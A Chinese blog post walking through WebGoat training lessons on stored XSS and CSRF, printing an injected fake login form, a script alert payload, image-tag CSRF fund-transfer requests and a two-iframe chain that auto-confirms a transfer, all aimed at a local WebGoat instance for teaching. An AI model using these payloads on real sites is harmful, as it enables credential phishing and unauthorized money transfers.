美文网首页
Webgoat XSS

Webgoat XSS

作者: 断弦Kaka | 来源:发表于2017-07-12 18:57 被阅读0次

    <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
    

    Stage 1: Stored XSS

    进入tom的编辑页面,将任意输入框中的数据改为<script>alert(/xss/);</script>并保存,使用jerry的账号登录,访问tom的编辑页面
    <script>alert(/xss/)</script>

    CSRF

    stage 2
    原链接:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900
    构造后:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=4000
    构造img:

    ![](http://localhost/WebGoat/attack?Screen=128&menu=900&transferFunds=4000)
    

    绕过 CSRF 确认( CSRF Prompt By‐Pass)

    转账请求需要用户确认,通过构造多个请求,绕过用户确认环节。第二个请求必须在第一个请求结束后被载入。所以需要添加javascript 以实现在第一个请求结束后自动载入第二个:在第一个frame 的属性中添
    加onload 参数,设置src 为第二个frame。

    <iframe
    src="http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=400"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=CONFIRM';">
    </iframe>
    <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
    </iframe>
    
    

    效果如图:


    TIM截图20170713111914.png

    上图第一个frame 显示了用户确认信息,这是第一位早的请求所触发的结果。第二个
    frame 显示的是伪造的确认请求触发的结果:4000 美元已经成功转账。刷新页面,完成根据
    本节课程。
    事实上,在真实的攻击中以上信息将被隐藏。点击"restart this lesson"后再次对网站发起
    攻击,本次攻击尝试使用隐蔽或非常小的frames 实现攻击信息隐藏。

    ![](http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&menu=210&transferFunds=5000)
    <img id="image2" width="1" height="1" />
    

    对于开发者来说限制CSRF 的一种方法是只允许通过HTTP POST 提交参数。该方式将屏蔽通过iframe 和images 方式发起的攻击,但对JavaScript 中的XmlHTTpRequest 无效。由于额外的信任,您可以尝试通过XmlHTTpRequest发起基于POST 的攻击。

    相关文章

      网友评论

          本文标题:Webgoat XSS

          本文链接:https://www.haomeiwen.com/subject/lpmbhxtx.html